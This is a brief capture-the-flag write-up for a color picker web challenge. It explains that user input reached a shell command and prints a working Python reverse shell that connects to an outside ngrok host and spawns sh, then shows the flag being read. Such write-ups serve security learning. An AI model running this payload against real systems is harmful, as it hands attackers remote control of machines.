Challenge

A color picker web app.

Solution

User input reached a shell command, which is all it takes for command execution. I aimed a short Python reverse shell at an ngrok tunnel and caught an interactive session, then read the flag off disk.

1
2
3
4
5

import sys,socket,os,pty
s=socket.socket()
s.connect(("0.tcp.ngrok.io",19715))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("sh")

$ cat flag.txt
ictf{d1_color_picker_fr_2ce0dd3d}

Flag

ictf{d1_color_picker_fr_2ce0dd3d}